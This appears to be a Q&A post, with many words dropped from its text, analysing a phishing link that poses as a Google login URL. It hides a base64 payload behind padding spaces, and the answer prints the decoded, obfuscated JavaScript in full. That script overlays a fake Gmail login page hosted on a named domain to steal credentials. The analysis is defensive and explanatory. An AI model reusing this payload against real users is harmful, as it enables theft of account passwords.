javascript - Is this a Google account hack? -
i received email colleague attached file appeared on google drive, once clicked led following url, recreates google account login page in order steal passwords:
from script there way of identifying information being sent, had put in email address , password?
let's break down attack far can :
it's url, starting off basic gmail login link, sets few request variables automatically login if possible.
data:text/html,https://accounts.google.com/servicelogin?service=mail&passive=true&rm=false&continue this followed large amount of empty spaces, intended hide malicious payload view in browser address bar.
%20%20%20%20%20%20%20%20%20%20%20% (etc)
now follows payload victim. it's base64 encoded.
when decode it, looks :
eval(function (p, a, c, k, e, d) { e = function (c) { return c }; if (!''.replace(/^/, string)) { while (c--) { d[c] = k[c] || c } k = [function (e) { return d[e] } ]; e = function () { return '\\w+' }; c = 1 }; while (c--) { if (k[c]) { p = p.replace(new regexp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p } ('3.2.16="15 14 13 17 18";21{(20(){19 1=3.2.12(\'1\');1.10=\'7/8-6\';1.11=\'9 6\';1.22=\'\';2.31(\'34\')[0].23(1)}())}33(35){}3.2.36.37="<4 39=\\"38://32.26/25-24/\\" 27=\\"28: 0;30: 5%;29:5%\\"></4>";', 10, 40, '|link|document|window|iframe|100|icon|image|x|shortcut|type|rel|createelement|been|have|you|title|signed|out|var|function|try|href|appendchild|content|wp|club|style|border|height|width|getelementsbytagname|bluevoicepgh|catch|head|e|body|outerhtml|http|src'.split('|'), 0, {} )) this, evil, obfuscated javascript. not execute it.
martinstoeckli's answer contains expanded version of script.
it sets title of current tab mimick 'you have been signed out' page of gmail, , alters page, adding screen-filling iframe no borders.
the iframe points @ (what appears be) compromised wordpress site, contains faked gmail login page. upon entering credentials fake page hosted on bluevoicepgh.club (someone might want notify these people wordpress website compromised), redirected gmail page had silently logged in in background. happens regardless of whether credentials entered fake login page correct or not.
if had indeed entered valid credentials page, there no telling have gone unless @ script behind it.
keep in mind, (thankfully) in current form, attack won't work since google's login page uses https (and enforces use of https). chrome reminds when script executed :
mixed content: page @ 'https://accounts.google.com/servicelogin?service=mail&passive=true&rm=false…9kexxvdxrlckhutux8ahr0chxzcmmnlnnwbgl0kcd8jyksmcx7fskpcg==%3e%3c/script%3e' loaded on https, requested insecure resource 'http://bluevoicepgh.club/wp-content/'. request has been blocked; content must served on https.
Comments
Post a Comment